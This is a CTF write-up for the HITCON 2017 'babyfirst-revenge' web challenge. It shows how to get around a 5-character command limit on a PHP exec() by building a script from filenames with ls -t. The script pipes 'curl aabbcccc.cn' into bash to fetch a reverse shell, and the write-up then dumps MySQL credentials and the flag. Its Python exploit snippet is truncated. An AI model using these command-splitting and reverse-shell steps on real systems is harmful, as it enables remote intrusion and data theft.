HITCON2017-Web-writeup



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Problems

babyfirst-revenge

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babyfirst-revenge

Description:

From the description, we know that @exec(\$_GET['cmd']) can be used to get shell, but the length of each command has to be <= 5.

My idea is:

- 1. Prepare a service nc -lvp 8080 in WAN;
- 2. Prepare a reverse shell text in our own server;
- 3. Get reverse shell from our own server;

How to get the reverse shell from our own server? We can follow this idea:

```
curl aabbcccc.cn bash
```

Put the command above into a file g on the game's server, and then use sh g to execute.

How to put the file?

Generate a few files with specific names, use \ \ to connect them, then

```
ls -t>g
```

How to generate?

```
>name
```

How to execute ls -t>g?

In the same way, put it into a file __.

```
# "ls" > _, " -t>g" >> _
# Ls\
# \
# -t\
# >g
>ls\\
ls>_
>\ \\
>-t\\
>-t\\
>>g
```

Tips: the order in CentOS's default shell is different from php, which use LC_COLLATE=C.

Get shell in the same way:

```
>sh
>ba\\
>\|\\
>cn\\
>c.\\
>cc\\
>bc\\
>bb\\
>aa\\
>\ \\
>rl\\
>cu\\
```

Execute:

```
sh _
sh g
```

Exp:

```
import requests
from urllib import quote
url = 'http://117.50.3.97:8001/'
payload = [
res = requests.get(url + '?reset=')
for cmd in payload:
```

Tips:

- 1. file .xx will not appear in 1s -t, because it will be hidden;
- 2. |, ' ' (blank) need \ in shell;
- 3. \ in python need one more;

After get the reverse shell, we find a folder fl4444g in /home and there is a README.txt in fl4444g, which shows:

```
Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr
```

Connect mysql:

```
mysql -ufl4444g -pSugZXUtgeJ52_Bvr
```

Show databases:

```
show databases;
s;
ERROR 1064 (42000) at line 2: You have an error in your SQL syntax; check the manual that corresponds to your My
SQL server version for the right syntax to use near 's' at line 1
Database
information_schema
fl4gdb
```

Show tables:

```
use fl4gdb;
show tables;
s;
ERROR 1064 (42000) at line 3: You have an error in your SQL syntax; check the manual that corresponds to your My
SQL server version for the right syntax to use near 's' at line 1
Tables_in_fl4gdb
Tables_in_fl4gdb
this_is_the_fl4g
```

Dump:

```
use fl4gdb;
select * from this_is_the_fl4g;
s;
ERROR 1064 (42000) at line 3: You have an error in your SQL syntax; check the manual that corresponds to your My
SQL server version for the right syntax to use near 's' at line 1
secret
flag{bf4a0a1a-226c-4e20-b3a1-0398ba83278f}
```

The database's interaction is not friendly, which make me to think that there are some problems to connect.